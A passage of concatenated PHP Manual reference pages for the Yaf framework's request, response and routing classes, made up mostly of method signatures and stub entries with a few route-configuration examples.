public void Yaf_Request_Abstract::getServer ( string $name [, string $default ] )
public void Yaf_Request_Abstract::isCli ( void )
public void Yaf_Request_Abstract::isDispatched ( void )
public void Yaf_Request_Abstract::isGet ( void )
public void Yaf_Request_Abstract::isHead ( void )
public void Yaf_Request_Abstract::isOptions ( void )
public void Yaf_Request_Abstract::isPost ( void )
public void Yaf_Request_Abstract::isPut ( void )
public void Yaf_Request_Abstract::isRouted ( void )
public void Yaf_Request_Abstract::isXmlHttpRequest ( void )
public void Yaf_Request_Abstract::setActionName ( string $action )
public void Yaf_Request_Abstract::setBaseUri ( string $uir )
public void Yaf_Request_Abstract::setControllerName ( string $controller )
public void Yaf_Request_Abstract::setDispatched ( void )
public void Yaf_Request_Abstract::setModuleName ( string $module )
public void Yaf_Request_Abstract::setParam ( string $name [, string $value ] )
public void Yaf_Request_Abstract::setRequestUri ( string $uir )
public void Yaf_Request_Abstract::setRouted ([ string $flag ] )
}

Properties

module

controller

action

method

params

language

_exception

_base_uri

uri

dispatched

routed

Table of Contents

  • Yaf_Request_Http::__clone — The __clone purpose
  • Yaf_Request_Http::__construct — The __construct purpose
  • Yaf_Request_Http::get — The get purpose
  • Yaf_Request_Http::getCookie — The getCookie purpose
  • Yaf_Request_Http::getFiles — The getFiles purpose
  • Yaf_Request_Http::getPost — The getPost purpose
  • Yaf_Request_Http::getQuery — fetch a query parameter
  • Yaf_Request_Http::getRequest — The getRequest purpose
  • Yaf_Request_Http::isXmlHttpRequest — The isXmlHttpRequest purpose

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract::setRouted
Yaf_Request_Http::__clone
Yaf


The __clone purpose

Yaf_Request_Http
Yaf_Request_Http::__construct
Yaf_Request_Http
PHP Manual

Yaf_Request_Http::__clone

(PECL yaf >=1.0.0)

Yaf_Request_Http::__clone — The __clone purpose

Description

private void Yaf_Request_Http::__clone ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Http
Yaf_Request_Http::__construct
Yaf_Request_Http


The __construct purpose

Yaf_Request_Http::__clone
Yaf_Request_Http::get
Yaf_Request_Http
PHP Manual

Yaf_Request_Http::__construct

(PECL yaf >=1.0.0)

Yaf_Request_Http::__construct — The __construct purpose

Description

Yaf_Request_Http::__construct ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Http::__clone
Yaf_Request_Http::get
Yaf_Request_Http


The get purpose

Yaf_Request_Http::__construct
Yaf_Request_Http::getCookie
Yaf_Request_Http
PHP Manual

Yaf_Request_Http::get

(PECL yaf >=1.0.0)

Yaf_Request_Http::get — The get purpose

Description

public void Yaf_Request_Http::get ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Http::__construct
Yaf_Request_Http::getCookie
Yaf_Request_Http


The getCookie purpose

Yaf_Request_Http::get
Yaf_Request_Http::getFiles
Yaf_Request_Http
PHP Manual

Yaf_Request_Http::getCookie

(PECL yaf >=1.0.0)

Yaf_Request_Http::getCookie — The getCookie purpose

Description

public void Yaf_Request_Http::getCookie ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Http::get
Yaf_Request_Http::getFiles
Yaf_Request_Http


The getFiles purpose

Yaf_Request_Http::getCookie
Yaf_Request_Http::getPost
Yaf_Request_Http
PHP Manual

Yaf_Request_Http::getFiles

(PECL yaf >=1.0.0)

Yaf_Request_Http::getFiles — The getFiles purpose

Description

public void Yaf_Request_Http::getFiles ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Http::getCookie
Yaf_Request_Http::getPost
Yaf_Request_Http


The getPost purpose

Yaf_Request_Http::getFiles
Yaf_Request_Http::getQuery
Yaf_Request_Http
PHP Manual

Yaf_Request_Http::getPost

(PECL yaf >=1.0.0)

Yaf_Request_Http::getPost — The getPost purpose

Description

public void Yaf_Request_Http::getPost ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Http::getFiles
Yaf_Request_Http::getQuery
Yaf_Request_Http


fetch a query parameter

Yaf_Request_Http::getPost
Yaf_Request_Http::getRequest
Yaf_Request_Http
PHP Manual

Yaf_Request_Http::getQuery

(PECL yaf >=1.0.0)

Yaf_Request_Http::getQuery — fetch a query parameter

Description

public void Yaf_Request_Http::getQuery ( void )

Fetch a query parameter in $_GET.

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Http::getPost
Yaf_Request_Http::getRequest
Yaf_Request_Http


The getRequest purpose

Yaf_Request_Http::getQuery
Yaf_Request_Http::isXmlHttpRequest
Yaf_Request_Http
PHP Manual

Yaf_Request_Http::getRequest

(PECL yaf >=1.0.0)

Yaf_Request_Http::getRequest — The getRequest purpose

Description

public void Yaf_Request_Http::getRequest ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Http::getQuery
Yaf_Request_Http::isXmlHttpRequest
Yaf_Request_Http


The isXmlHttpRequest purpose

Yaf_Request_Http::getRequest
Yaf_Request_Simple
Yaf_Request_Http
PHP Manual

Yaf_Request_Http::isXmlHttpRequest

(PECL yaf >=1.0.0)

Yaf_Request_Http::isXmlHttpRequest — The isXmlHttpRequest purpose

Description

public void Yaf_Request_Http::isXmlHttpRequest ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Http::getRequest
Yaf_Request_Simple
Yaf_Request_Http


The Yaf_Request_Simple class

(No version information available, might only be in SVN)

Introduction

Yaf_Request_Simple is particularlly used for test puporse. ie. simulate some espacial request under CLI mode.

Class synopsis

Yaf_Request_Simple extends Yaf_Request_Abstract {
/* Constants */
const string SCHEME_HTTP = http ;
const string SCHEME_HTTPS = https ;
/* Properties */
/* Methods */
private void __clone ( void )
__construct ( void )
public void get ( void )
public void getCookie ( void )
public void getFiles ( void )
public void getPost ( void )
public void getQuery ( void )
public void getRequest ( void )
public void isXmlHttpRequest ( void )
/* Inherited methods */
public void Yaf_Request_Abstract::getActionName ( void )
public void Yaf_Request_Abstract::getBaseUri ( void )
public void Yaf_Request_Abstract::getControllerName ( void )
public void Yaf_Request_Abstract::getEnv ( string $name [, string $default ] )
public void Yaf_Request_Abstract::getException ( void )
public void Yaf_Request_Abstract::getLanguage ( void )
public void Yaf_Request_Abstract::getMethod ( void )
public void Yaf_Request_Abstract::getModuleName ( void )
public void Yaf_Request_Abstract::getParam ( string $name [, string $default ] )
public void Yaf_Request_Abstract::getParams ( void )
public void Yaf_Request_Abstract::getRequestUri ( void )
public void Yaf_Request_Abstract::getServer ( string $name [, string $default ] )
public void Yaf_Request_Abstract::isCli ( void )
public void Yaf_Request_Abstract::isDispatched ( void )
public void Yaf_Request_Abstract::isGet ( void )
public void Yaf_Request_Abstract::isHead ( void )
public void Yaf_Request_Abstract::isOptions ( void )
public void Yaf_Request_Abstract::isPost ( void )
public void Yaf_Request_Abstract::isPut ( void )
public void Yaf_Request_Abstract::isRouted ( void )
public void Yaf_Request_Abstract::isXmlHttpRequest ( void )
public void Yaf_Request_Abstract::setActionName ( string $action )
public void Yaf_Request_Abstract::setBaseUri ( string $uir )
public void Yaf_Request_Abstract::setControllerName ( string $controller )
public void Yaf_Request_Abstract::setDispatched ( void )
public void Yaf_Request_Abstract::setModuleName ( string $module )
public void Yaf_Request_Abstract::setParam ( string $name [, string $value ] )
public void Yaf_Request_Abstract::setRequestUri ( string $uir )
public void Yaf_Request_Abstract::setRouted ([ string $flag ] )
}

Properties

module

controller

action

method

params

language

_exception

_base_uri

uri

dispatched

routed

Predefined Constants

Yaf_Request_Simple::SCHEME_HTTP

Yaf_Request_Simple::SCHEME_HTTPS

Table of Contents

  • Yaf_Request_Simple::__clone — The __clone purpose
  • Yaf_Request_Simple::__construct — The __construct purpose
  • Yaf_Request_Simple::get — The get purpose
  • Yaf_Request_Simple::getCookie — The getCookie purpose
  • Yaf_Request_Simple::getFiles — The getFiles purpose
  • Yaf_Request_Simple::getPost — The getPost purpose
  • Yaf_Request_Simple::getQuery — The getQuery purpose
  • Yaf_Request_Simple::getRequest — The getRequest purpose
  • Yaf_Request_Simple::isXmlHttpRequest — The isXmlHttpRequest purpose

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Http::isXmlHttpRequest
Yaf_Request_Simple::__clone
Yaf


The __clone purpose

Yaf_Request_Simple
Yaf_Request_Simple::__construct
Yaf_Request_Simple
PHP Manual

Yaf_Request_Simple::__clone

(PECL yaf >=1.0.0)

Yaf_Request_Simple::__clone — The __clone purpose

Description

private void Yaf_Request_Simple::__clone ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Simple
Yaf_Request_Simple::__construct
Yaf_Request_Simple


The __construct purpose

Yaf_Request_Simple::__clone
Yaf_Request_Simple::get
Yaf_Request_Simple
PHP Manual

Yaf_Request_Simple::__construct

(PECL yaf >=1.0.0)

Yaf_Request_Simple::__construct — The __construct purpose

Description

Yaf_Request_Simple::__construct ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Simple::__clone
Yaf_Request_Simple::get
Yaf_Request_Simple


The get purpose

Yaf_Request_Simple::__construct
Yaf_Request_Simple::getCookie
Yaf_Request_Simple
PHP Manual

Yaf_Request_Simple::get

(PECL yaf >=1.0.0)

Yaf_Request_Simple::get — The get purpose

Description

public void Yaf_Request_Simple::get ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Simple::__construct
Yaf_Request_Simple::getCookie
Yaf_Request_Simple


The getCookie purpose

Yaf_Request_Simple::get
Yaf_Request_Simple::getFiles
Yaf_Request_Simple
PHP Manual

Yaf_Request_Simple::getCookie

(PECL yaf >=1.0.0)

Yaf_Request_Simple::getCookie — The getCookie purpose

Description

public void Yaf_Request_Simple::getCookie ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Simple::get
Yaf_Request_Simple::getFiles
Yaf_Request_Simple


The getFiles purpose

Yaf_Request_Simple::getCookie
Yaf_Request_Simple::getPost
Yaf_Request_Simple
PHP Manual

Yaf_Request_Simple::getFiles

(PECL yaf >=1.0.0)

Yaf_Request_Simple::getFiles — The getFiles purpose

Description

public void Yaf_Request_Simple::getFiles ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Simple::getCookie
Yaf_Request_Simple::getPost
Yaf_Request_Simple


The getPost purpose

Yaf_Request_Simple::getFiles
Yaf_Request_Simple::getQuery
Yaf_Request_Simple
PHP Manual

Yaf_Request_Simple::getPost

(PECL yaf >=1.0.0)

Yaf_Request_Simple::getPost — The getPost purpose

Description

public void Yaf_Request_Simple::getPost ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Simple::getFiles
Yaf_Request_Simple::getQuery
Yaf_Request_Simple


The getQuery purpose

Yaf_Request_Simple::getPost
Yaf_Request_Simple::getRequest
Yaf_Request_Simple
PHP Manual

Yaf_Request_Simple::getQuery

(PECL yaf >=1.0.0)

Yaf_Request_Simple::getQuery — The getQuery purpose

Description

public void Yaf_Request_Simple::getQuery ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Simple::getPost
Yaf_Request_Simple::getRequest
Yaf_Request_Simple


The getRequest purpose

Yaf_Request_Simple::getQuery
Yaf_Request_Simple::isXmlHttpRequest
Yaf_Request_Simple
PHP Manual

Yaf_Request_Simple::getRequest

(PECL yaf >=1.0.0)

Yaf_Request_Simple::getRequest — The getRequest purpose

Description

public void Yaf_Request_Simple::getRequest ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Simple::getQuery
Yaf_Request_Simple::isXmlHttpRequest
Yaf_Request_Simple


The isXmlHttpRequest purpose

Yaf_Request_Simple::getRequest
Yaf_Response_Abstract
Yaf_Request_Simple
PHP Manual

Yaf_Request_Simple::isXmlHttpRequest

(PECL yaf >=1.0.0)

Yaf_Request_Simple::isXmlHttpRequest — The isXmlHttpRequest purpose

Description

public void Yaf_Request_Simple::isXmlHttpRequest ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Simple::getRequest
Yaf_Response_Abstract
Yaf_Request_Simple


The Yaf_Response_Abstract class

(No version information available, might only be in SVN)

Introduction

Class synopsis

Yaf_Response_Abstract {
/* Properties */
protected $_header ;
protected $_body ;
protected $_sendheader ;
/* Methods */
public void appendBody ( void )
public void clearBody ( void )
public void clearHeaders ( void )
private void __clone ( void )
public __construct ( void )
public void __destruct ( void )
public void getBody ( void )
public void getHeader ( void )
public void prependBody ( void )
public void response ( void )
protected void setAllHeaders ( void )
public void setBody ( void )
public void setHeader ( void )
public void setRedirect ( void )
private void __toString ( void )
}

Properties

_header

_body

_sendheader

Table of Contents

  • Yaf_Response_Abstract::appendBody — The appendBody purpose
  • Yaf_Response_Abstract::clearBody — The clearBody purpose
  • Yaf_Response_Abstract::clearHeaders — The clearHeaders purpose
  • Yaf_Response_Abstract::__clone — The __clone purpose
  • Yaf_Response_Abstract::__construct — The __construct purpose
  • Yaf_Response_Abstract::__destruct — The __destruct purpose
  • Yaf_Response_Abstract::getBody — The getBody purpose
  • Yaf_Response_Abstract::getHeader — The getHeader purpose
  • Yaf_Response_Abstract::prependBody — The prependBody purpose
  • Yaf_Response_Abstract::response — The response purpose
  • Yaf_Response_Abstract::setAllHeaders — The setAllHeaders purpose
  • Yaf_Response_Abstract::setBody — The setBody purpose
  • Yaf_Response_Abstract::setHeader — The setHeader purpose
  • Yaf_Response_Abstract::setRedirect — The setRedirect purpose
  • Yaf_Response_Abstract::__toString — The __toString purpose

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Simple::isXmlHttpRequest
Yaf_Response_Abstract::appendBody
Yaf


The appendBody purpose

Yaf_Response_Abstract
Yaf_Response_Abstract::clearBody
Yaf_Response_Abstract
PHP Manual

Yaf_Response_Abstract::appendBody

(PECL yaf >=1.0.0)

Yaf_Response_Abstract::appendBody — The appendBody purpose

Description

public void Yaf_Response_Abstract::appendBody ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Response_Abstract
Yaf_Response_Abstract::clearBody
Yaf_Response_Abstract


The clearBody purpose

Yaf_Response_Abstract::appendBody
Yaf_Response_Abstract::clearHeaders
Yaf_Response_Abstract
PHP Manual

Yaf_Response_Abstract::clearBody

(PECL yaf >=1.0.0)

Yaf_Response_Abstract::clearBody — The clearBody purpose

Description

public void Yaf_Response_Abstract::clearBody ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Response_Abstract::appendBody
Yaf_Response_Abstract::clearHeaders
Yaf_Response_Abstract


The clearHeaders purpose

Yaf_Response_Abstract::clearBody
Yaf_Response_Abstract::__clone
Yaf_Response_Abstract
PHP Manual

Yaf_Response_Abstract::clearHeaders

(PECL yaf >=1.0.0)

Yaf_Response_Abstract::clearHeaders — The clearHeaders purpose

Description

public void Yaf_Response_Abstract::clearHeaders ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Response_Abstract::clearBody
Yaf_Response_Abstract::__clone
Yaf_Response_Abstract


The __clone purpose

Yaf_Response_Abstract::clearHeaders
Yaf_Response_Abstract::__construct
Yaf_Response_Abstract
PHP Manual

Yaf_Response_Abstract::__clone

(PECL yaf >=1.0.0)

Yaf_Response_Abstract::__clone — The __clone purpose

Description

private void Yaf_Response_Abstract::__clone ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Response_Abstract::clearHeaders
Yaf_Response_Abstract::__construct
Yaf_Response_Abstract


The __construct purpose

Yaf_Response_Abstract::__clone
Yaf_Response_Abstract::__destruct
Yaf_Response_Abstract
PHP Manual

Yaf_Response_Abstract::__construct

(PECL yaf >=1.0.0)

Yaf_Response_Abstract::__construct — The __construct purpose

Description

public Yaf_Response_Abstract::__construct ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Response_Abstract::__clone
Yaf_Response_Abstract::__destruct
Yaf_Response_Abstract


The __destruct purpose

Yaf_Response_Abstract::__construct
Yaf_Response_Abstract::getBody
Yaf_Response_Abstract
PHP Manual

Yaf_Response_Abstract::__destruct

(PECL yaf >=1.0.0)

Yaf_Response_Abstract::__destruct — The __destruct purpose

Description

public void Yaf_Response_Abstract::__destruct ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Response_Abstract::__construct
Yaf_Response_Abstract::getBody
Yaf_Response_Abstract


The getBody purpose

Yaf_Response_Abstract::__destruct
Yaf_Response_Abstract::getHeader
Yaf_Response_Abstract
PHP Manual

Yaf_Response_Abstract::getBody

(PECL yaf >=1.0.0)

Yaf_Response_Abstract::getBody — The getBody purpose

Description

public void Yaf_Response_Abstract::getBody ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Response_Abstract::__destruct
Yaf_Response_Abstract::getHeader
Yaf_Response_Abstract


The getHeader purpose

Yaf_Response_Abstract::getBody
Yaf_Response_Abstract::prependBody
Yaf_Response_Abstract
PHP Manual

Yaf_Response_Abstract::getHeader

(PECL yaf >=1.0.0)

Yaf_Response_Abstract::getHeader — The getHeader purpose

Description

public void Yaf_Response_Abstract::getHeader ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Response_Abstract::getBody
Yaf_Response_Abstract::prependBody
Yaf_Response_Abstract


The prependBody purpose

Yaf_Response_Abstract::getHeader
Yaf_Response_Abstract::response
Yaf_Response_Abstract
PHP Manual

Yaf_Response_Abstract::prependBody

(PECL yaf >=1.0.0)

Yaf_Response_Abstract::prependBody — The prependBody purpose

Description

public void Yaf_Response_Abstract::prependBody ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Response_Abstract::getHeader
Yaf_Response_Abstract::response
Yaf_Response_Abstract


The response purpose

Yaf_Response_Abstract::prependBody
Yaf_Response_Abstract::setAllHeaders
Yaf_Response_Abstract
PHP Manual

Yaf_Response_Abstract::response

(PECL yaf >=1.0.0)

Yaf_Response_Abstract::response — The response purpose

Description

public void Yaf_Response_Abstract::response ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Response_Abstract::prependBody
Yaf_Response_Abstract::setAllHeaders
Yaf_Response_Abstract


The setAllHeaders purpose

Yaf_Response_Abstract::response
Yaf_Response_Abstract::setBody
Yaf_Response_Abstract
PHP Manual

Yaf_Response_Abstract::setAllHeaders

(PECL yaf >=1.0.0)

Yaf_Response_Abstract::setAllHeaders — The setAllHeaders purpose

Description

protected void Yaf_Response_Abstract::setAllHeaders ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Response_Abstract::response
Yaf_Response_Abstract::setBody
Yaf_Response_Abstract


The setBody purpose

Yaf_Response_Abstract::setAllHeaders
Yaf_Response_Abstract::setHeader
Yaf_Response_Abstract
PHP Manual

Yaf_Response_Abstract::setBody

(PECL yaf >=1.0.0)

Yaf_Response_Abstract::setBody — The setBody purpose

Description

public void Yaf_Response_Abstract::setBody ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Response_Abstract::setAllHeaders
Yaf_Response_Abstract::setHeader
Yaf_Response_Abstract


The setHeader purpose

Yaf_Response_Abstract::setBody
Yaf_Response_Abstract::setRedirect
Yaf_Response_Abstract
PHP Manual

Yaf_Response_Abstract::setHeader

(PECL yaf >=1.0.0)

Yaf_Response_Abstract::setHeader — The setHeader purpose

Description

public void Yaf_Response_Abstract::setHeader ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Response_Abstract::setBody
Yaf_Response_Abstract::setRedirect
Yaf_Response_Abstract


The setRedirect purpose

Yaf_Response_Abstract::setHeader
Yaf_Response_Abstract::__toString
Yaf_Response_Abstract
PHP Manual

Yaf_Response_Abstract::setRedirect

(PECL yaf >=1.0.0)

Yaf_Response_Abstract::setRedirect — The setRedirect purpose

Description

public void Yaf_Response_Abstract::setRedirect ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Response_Abstract::setHeader
Yaf_Response_Abstract::__toString
Yaf_Response_Abstract


The __toString purpose

Yaf_Response_Abstract::setRedirect
Yaf_Route_Interface
Yaf_Response_Abstract
PHP Manual

Yaf_Response_Abstract::__toString

(PECL yaf >=1.0.0)

Yaf_Response_Abstract::__toString — The __toString purpose

Description

private void Yaf_Response_Abstract::__toString ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Response_Abstract::setRedirect
Yaf_Route_Interface
Yaf_Response_Abstract


The Yaf_Route_Interface class

(No version information available, might only be in SVN)

Introduction

Yaf_Route_Interface used for developer defined their custom route.

Class synopsis

Yaf_Route_Interface {
/* Methods */
abstract public bool route ( Yaf_Request_Abstract $request )
}

Table of Contents

  • Yaf_Route_Interface::route — route a request

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Response_Abstract::__toString
Yaf_Route_Interface::route
Yaf


route a request

Yaf_Route_Interface
Yaf_Route_Map
Yaf_Route_Interface
PHP Manual

Yaf_Route_Interface::route

(PECL yaf >=1.0.0)

Yaf_Route_Interface::route — route a request

Description

abstract public bool Yaf_Route_Interface::route ( Yaf_Request_Abstract $request )

Yaf_Route_Interface::route() is the only method that a custom route should implement.

if this method return TRUE, then the route process will be end. otherwise, Yaf_Router will call next route in the route stack to route request.

This method would set the route result to the parameter request, by
calling  Yaf_Request_Abstract::setControllerName(),
 Yaf_Request_Abstract::setActionName() and
 Yaf_Request_Abstract::setModuleName().

This method should also call Yaf_Request_Abstract::setRouted() to make the request routed at last.

Warning

This function is currently not documented; only its argument list is available.

Parameters

request

A Yaf_Request_Abstract instance.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Route_Interface
Yaf_Route_Map
Yaf_Route_Interface


The Yaf_Route_Map class

(No version information available, might only be in SVN)

Introduction

Class synopsis

Yaf_Route_Map implements Yaf_Route_Interface {
/* Properties */
protected $_ctl_router ;
protected $_delimeter ;
/* Methods */
public __construct ([ string $controller_prefer = false [, string $delimiter = '' ]] )
public bool route ( Yaf_Request_Abstract $request )
}

Properties

_ctl_router

_delimeter

Table of Contents

  • Yaf_Route_Map::__construct — The __construct purpose
  • Yaf_Route_Map::route — The route purpose

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Route_Interface::route
Yaf_Route_Map::__construct
Yaf


The __construct purpose

Yaf_Route_Map
Yaf_Route_Map::route
Yaf_Route_Map
PHP Manual

Yaf_Route_Map::__construct

(PECL yaf >=1.0.0)

Yaf_Route_Map::__construct — The __construct purpose

Description

public Yaf_Route_Map::__construct ([ string $controller_prefer = false [, string $delimiter = '' ]] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

controller_prefer

Whether the result should considering as controller or action

delimiter

Return Values

Examples

Example #1 Yaf_Route_Map()example

<?php
   /**
    * Add a map route to Yaf_Router route stack
    */
    Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
        new Yaf_Route_Map());
?>

The above example will output something similar to:

/* for http://yourdomain.com/product/foo/bar
 * route will result in following values:
 */
array(
  "controller" => "product_foo_bar",
)

Example #2 Yaf_Route_Map()example

<?php
   /**
    * Add a map route to Yaf_Router route stack
    */
    Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
        new Yaf_Route_Map(true, "_"));
?>

The above example will output something similar to:

/* for http://yourdomain.com/user/list/_/foo/22
 * route will result in following values:
 */
array(
    "action" => "user_list",
)

/**
 * and request parameters:
 */
array(
  "foo"   => 22,
)

See Also

  • Yaf_Router::addRoute() - Add new Route into Router
  • Yaf_Route_Static
  • Yaf_Route_Supervar
  • Yaf_Route_Simple
  • Yaf_Route_Regex
  • Yaf_Route_Rewrite

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Route_Map
Yaf_Route_Map::route
Yaf_Route_Map


The route purpose

Yaf_Route_Map::__construct
Yaf_Route_Regex
Yaf_Route_Map
PHP Manual

Yaf_Route_Map::route

(PECL yaf >=1.0.0)

Yaf_Route_Map::route — The route purpose

Description

public bool Yaf_Route_Map::route ( Yaf_Request_Abstract $request )

Warning

This function is currently not documented; only its argument list is available.

Parameters

request

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Route_Map::__construct
Yaf_Route_Regex
Yaf_Route_Map


The Yaf_Route_Regex class

(No version information available, might only be in SVN)

Introduction

Yaf_Route_Regex is the most flexible route among the Yaf built-in routes.

Class synopsis

Yaf_Route_Regex extends Yaf_Route_Interface implements Yaf_Route_Interface {
/* Properties */
protected $_route ;
protected $_default ;
protected $_maps ;
protected $_verify ;
/* Methods */
public __construct ( string $match , array $route [, array $map [, array $verify ]] )
public bool route ( Yaf_Request_Abstract $request )
/* Inherited methods */
abstract public bool Yaf_Route_Interface::route ( Yaf_Request_Abstract $request )
}

Properties

_route

_default

_maps

_verify

Table of Contents

  • Yaf_Route_Regex::__construct — The __construct purpose
  • Yaf_Route_Regex::route — The route purpose

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Route_Map::route
Yaf_Route_Regex::__construct
Yaf


The __construct purpose

Yaf_Route_Regex
Yaf_Route_Regex::route
Yaf_Route_Regex
PHP Manual

Yaf_Route_Regex::__construct

(PECL yaf >=1.0.0)

Yaf_Route_Regex::__construct — The __construct purpose

Description

public Yaf_Route_Regex::__construct ( string $match , array $route [, array $map [, array $verify ]] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

match

A complete Regex pattern, will be used to match a request uri, if doesn't matched, Yaf_Route_Regex will return FALSE.

route

When the match pattern matches the request uri, Yaf_Route_Regex will use this to decide which m/c/a to routed.

either of m/c/a in this array is optianl, if you don't assgian a specific value, it will be routed to default.

map

A array to assign name to the captrues in the match result.

verify

Return Values

Examples

Example #1 Yaf_Route_Regex()example

<?php
   /**
    * Add a regex route to Yaf_Router route stack
    */
    Yaf_Dispatcher::getInstance()->getRouter()->addRoute("name",
        new Yaf_Route_Regex(
           "#^/product/([^/]+)/([^/])+#", //match request uri leading "/product"
           array(
               'controller' => "product",  //route to product controller,
           ),
           array(
              1 => "name",   // now you can call $request->getParam("name")
              2 => "id",     // to get the first captrue in the match pattern.
           )
        )
    );
?>

Example #2 Yaf_Route_Regex()example

<?php
   /**
    * Add a regex route to Yaf_Router route stack by calling addconfig
    */
    $config = array(
        "name" => array(
           "type"  => "regex",          //Yaf_Route_Regex route
           "match" => "#(.*)#",         //match arbitrary request uri
           "route" => array(
               'controller' => "product",  //route to product controller,
               'action'     => "dummy",    //route to dummy action
           ),
           "map" => array(
              1 => "uri",   // now you can call $request->getParam("uri")
           ),
        ),
    );
    Yaf_Dispatcher::getInstance()->getRouter()->addConfig(
        new Yaf_Config_Simple($config));
?>

See Also

  • Yaf_Router::addRoute() - Add new Route into Router
  • Yaf_Router::addConfig() - Add config-defined routes into Router
  • Yaf_Route_Static
  • Yaf_Route_Supervar
  • Yaf_Route_Simple
  • Yaf_Route_Rewrite
  • Yaf_Route_Map

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Route_Regex
Yaf_Route_Regex::route
Yaf_Route_Regex


The route purpose

Yaf_Route_Regex::__construct
Yaf_Route_Rewrite
Yaf_Route_Regex
PHP Manual

Yaf_Route_Regex::route

(PECL yaf >=1.0.0)

Yaf_Route_Regex::route — The route purpose

Description

public bool Yaf_Route_Regex::route ( Yaf_Request_Abstract $request )

Route a incoming request.

Warning

This function is currently not documented; only its argument list is available.

Parameters

request

Return Values

